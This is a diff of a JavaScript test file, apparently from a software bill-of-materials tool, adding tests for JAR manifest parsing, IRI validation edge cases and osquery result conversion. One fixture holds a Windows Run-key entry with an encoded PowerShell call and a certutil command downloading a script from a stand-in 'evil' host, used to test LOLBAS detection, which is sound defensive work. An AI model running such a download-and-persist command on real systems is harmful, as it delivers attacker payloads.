7341
|
it("parse wheel metadata", () => {
|
|
@@ -7601,6 +8377,72 @@ it("purl encode tests", () => {
|
|
|
7601
8377
|
assert.deepStrictEqual(encodeForPurl("%40angular"), "%40angular");
|
|
7602
8378
|
});
|
|
7603
8379
|
|
|
8380
|
+
it("jar manifest group inference tests", () => {
|
|
8381
|
+
const antManifest = parseJarManifest(
|
|
8382
|
+
readJarMetadataFixture("ant-1.10.13", "MANIFEST.MF"),
|
|
8383
|
+
);
|
|
8384
|
+
assert.deepStrictEqual(
|
|
8385
|
+
inferJarGroupFromManifest(antManifest),
|
|
8386
|
+
"org.apache.tools.ant",
|
|
8387
|
+
);
|
|
8388
|
+
const velocityManifest = parseJarManifest(
|
|
8389
|
+
readJarMetadataFixture("velocity-1.7", "MANIFEST.MF"),
|
|
8390
|
+
);
|
|
8391
|
+
assert.deepStrictEqual(velocityManifest["Extension-Name"], "velocity");
|
|
8392
|
+
assert.deepStrictEqual(
|
|
8393
|
+
velocityManifest["Bundle-SymbolicName"],
|
|
8394
|
+
"org.apache.velocity",
|
|
8395
|
+
);
|
|
8396
|
+
assert.deepStrictEqual(
|
|
8397
|
+
inferJarGroupFromManifest(velocityManifest),
|
|
8398
|
+
"org.apache.velocity",
|
|
8399
|
+
);
|
|
8400
|
+
});
|
|
8401
|
+
|
|
8402
|
+
it("jar manifest inference and pom properties parsing tests", () => {
|
|
8403
|
+
const logbackManifest = parseJarManifest(
|
|
8404
|
+
readJarMetadataFixture("logback-classic-1.4.7", "MANIFEST.MF"),
|
|
8405
|
+
);
|
|
8406
|
+
const logbackPomProperties = parsePomProperties(
|
|
8407
|
+
readJarMetadataFixture("logback-classic-1.4.7", "pom.properties"),
|
|
8408
|
+
);
|
|
8409
|
+
assert.deepStrictEqual(
|
|
8410
|
+
inferJarGroupFromManifest(logbackManifest),
|
|
8411
|
+
"ch.qos.logback.classic",
|
|
8412
|
+
);
|
|
8413
|
+
assert.deepStrictEqual(logbackPomProperties, {
|
|
8414
|
+
artifactId: "logback-classic",
|
|
8415
|
+
groupId: "ch.qos.logback",
|
|
8416
|
+
version: "1.4.7",
|
|
8417
|
+
});
|
|
8418
|
+
const commonsMathManifest = parseJarManifest(
|
|
8419
|
+
readJarMetadataFixture("commons-math3-3.6.1", "MANIFEST.MF"),
|
|
8420
|
+
);
|
|
8421
|
+
const commonsMathPomProperties = parsePomProperties(
|
|
8422
|
+
readJarMetadataFixture("commons-math3-3.6.1", "pom.properties"),
|
|
8423
|
+
);
|
|
8424
|
+
assert.deepStrictEqual(
|
|
8425
|
+
inferJarGroupFromManifest(commonsMathManifest),
|
|
8426
|
+
"org.apache.commons.math3",
|
|
8427
|
+
);
|
|
8428
|
+
assert.deepStrictEqual(commonsMathPomProperties, {
|
|
8429
|
+
artifactId: "commons-math3",
|
|
8430
|
+
groupId: "org.apache.commons",
|
|
8431
|
+
version: "3.6.1",
|
|
8432
|
+
});
|
|
8433
|
+
});
|
|
8434
|
+
|
|
8435
|
+
it("jar group suffix trimming tests", () => {
|
|
8436
|
+
assert.deepStrictEqual(
|
|
8437
|
+
trimJarGroupSuffix("org.checkerframework.checker.qual", "checker-qual"),
|
|
8438
|
+
"org.checkerframework",
|
|
8439
|
+
);
|
|
8440
|
+
assert.deepStrictEqual(
|
|
8441
|
+
trimJarGroupSuffix("org.apache.velocity", "velocity"),
|
|
8442
|
+
"org.apache.velocity",
|
|
8443
|
+
);
|
|
8444
|
+
});
|
|
8445
|
+
|
|
7604
8446
|
it("parsePackageJsonName tests", () => {
|
|
7605
8447
|
assert.deepStrictEqual(parsePackageJsonName("foo"), {
|
|
7606
8448
|
fullName: "foo",
|
|
@@ -8367,11 +9209,11 @@ const testCases = [
|
|
|
8367
9209
|
// Potential ReDoS for percent-encoding regex: Long sequences of % followed by non-hex or short hex
|
|
8368
9210
|
["http://example.com/a%" + "a%".repeat(50000), false], // Many %a patterns
|
|
8369
9211
|
["http://example.com/a%" + "ab%".repeat(50000), false], // Many %ab patterns (invalid end)
|
|
8370
|
-
["http://example.com/a%" + "a".repeat(100000),
|
|
9212
|
+
["http://example.com/a%" + "a".repeat(100000), true], // Valid: %aa is a complete encoding followed by many literal 'a's in path
|
|
8371
9213
|
["http://example.com/" + "%".repeat(100000), false], // Very long sequence of just %
|
|
8372
9214
|
// Edge cases around valid percent-encoding boundaries (pushing regex engine)
|
|
8373
9215
|
["http://example.com/path%" + "20".repeat(30000) + "%2", false], // Valid %20s, ends with incomplete %
|
|
8374
|
-
["http://example.com/path%" + "20".repeat(30000) + "a",
|
|
9216
|
+
["http://example.com/path%" + "20".repeat(30000) + "a", true], // Valid: %20 encoding followed by many chars and trailing literal 'a'
|
|
8375
9217
|
// Potentially complex IRI that might be slow for validateIri (if not already robust)
|
|
8376
9218
|
// Using a plausible but complex structure with lots of valid non-ASCII chars (requires UTF-8 support)
|
|
8377
9219
|
// Note: Actual performance depends on the `validateIri` implementation.
|
|
@@ -8391,7 +9233,7 @@ const testCases = [
|
|
|
8391
9233
|
// IRI with complex query and fragment (tests boundaries)
|
|
8392
9234
|
[
|
|
8393
9235
|
"https://example.com/path?query=with%20lots%20of%20percent%20encoding%20but%20valid%20%C3%A9%C3%B1#fragment-with-unicode-çhars-üñíçødé",
|
|
8394
|
-
|
|
9236
|
+
true, // Valid: %20 and %C3%A9%C3%B1 are correct encodings; RFC 3987 allows unicode in fragment
|
|
8395
9237
|
],
|
|
8396
9238
|
// IRI that looks almost like a bomLink but isn't quite (tests scheme handling)
|
|
8397
9239
|
["urn:cdx:some-uuid/1#componentA/extra", true], // Might be valid IRI/URI, depends on urn:cdx spec, but structurally okay for IRI
|
|
@@ -8419,7 +9261,9 @@ const testCases = [
|
|
|
8419
9261
|
["http://example.com/path%ab%cd%eg", false], // Invalid: %eg
|
|
8420
9262
|
["http://example.com/path%ab%cd%", false], // Invalid: trailing %
|
|
8421
9263
|
["http://example.com/path%ab%cd%0", false], // Invalid: %0
|
|
8422
|
-
["http://example.com/path%ab%cd%0Z", false], // Invalid: %0Z (Z is
|
|
9264
|
+
["http://example.com/path%ab%cd%0Z", false], // Invalid: %0Z ('Z' is not a hex digit)
|
|
9265
|
+
["http://example.com/path%abc", true], // Valid: %ab is a complete encoding, 'c' is the next literal character
|
|
9266
|
+
["http://example.com/path%abZ", true], // Valid %ab followed by a literal character
|
|
8423
9267
|
// Test with extremely long, but valid, percent-encoded sequence (pushes validateIri/URL)
|
|
8424
9268
|
// This string is valid UTF-8 percent-encoded 'A' repeated many times.
|
|
8425
9269
|
// encodeURIComponent("A".repeat(10000)) produces a very long string of %41
|
|
@@ -8541,3 +9385,63 @@ it("parses valid minified js with real package name (#2717)", async () => {
|
|
|
8541
9385
|
|
|
8542
9386
|
if (existsSync(file)) unlinkSync(file);
|
|
8543
9387
|
});
|
|
9388
|
+
|
|
9389
|
+
describe("convertOSQueryResults", () => {
|
|
9390
|
+
it("should use identifier as package name for chrome-extension purl type", () => {
|
|
9391
|
+
const components = convertOSQueryResults(
|
|
9392
|
+
"chrome_extensions",
|
|
9393
|
+
{
|
|
9394
|
+
purlType: "chrome-extension",
|
|
9395
|
+
componentType: "application",
|
|
9396
|
+
},
|
|
9397
|
+
[
|
|
9398
|
+
{
|
|
9399
|
+
name: "Human Readable Name",
|
|
9400
|
+
identifier: "HLEPFOOHEGKHHMJIEOECHADDAEJAOKHF",
|
|
9401
|
+
version: "25.7.1",
|
|
9402
|
+
profile: "Default",
|
|
9403
|
+
},
|
|
9404
|
+
],
|
|
9405
|
+
false,
|
|
9406
|
+
);
|
|
9407
|
+
assert.strictEqual(components.length, 1);
|
|
9408
|
+
assert.strictEqual(components[0].name, "hlepfoohegkhhmjieoechaddaejaokhf");
|
|
9409
|
+
assert.strictEqual(
|
|
9410
|
+
components[0].purl,
|
|
9411
|
+
"pkg:chrome-extension/hlepfoohegkhhmjieoechaddaejaokhf@25.7.1",
|
|
9412
|
+
);
|
|
9413
|
+
const propNames = components[0].properties.map((prop) => prop.name);
|
|
9414
|
+
assert.ok(propNames.includes("name"));
|
|
9415
|
+
assert.ok(propNames.includes("identifier"));
|
|
9416
|
+
});
|
|
9417
|
+
|
|
9418
|
+
it("should add LOLBAS properties to suspicious windows osquery rows", () => {
|
|
9419
|
+
const components = convertOSQueryResults(
|
|
9420
|
+
"windows_run_keys",
|
|
9421
|
+
{
|
|
9422
|
+
purlType: "swid",
|
|
9423
|
+
componentType: "data",
|
|
9424
|
+
},
|
|
9425
|
+
[
|
|
9426
|
+
{
|
|
9427
|
+
name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
9428
|
+
description:
|
|
9429
|
+
"powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
|
|
9430
|
+
},
|
|
9431
|
+
],
|
|
9432
|
+
false,
|
|
9433
|
+
);
|
|
9434
|
+
assert.strictEqual(components.length, 1);
|
|
9435
|
+
const propertyMap = Object.fromEntries(
|
|
9436
|
+
components[0].properties.map((property) => [
|
|
9437
|
+
property.name,
|
|
9438
|
+
property.value,
|
|
9439
|
+
]),
|
|
9440
|
+
);
|
|
9441
|
+
assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
|
|
9442
|
+
assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
|
|
9443
|
+
assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
|
|
9444
|
+
assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
|
|
9445
|
+
assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
|
|
9446
|
+
});
|
|
9447
|
+
});
|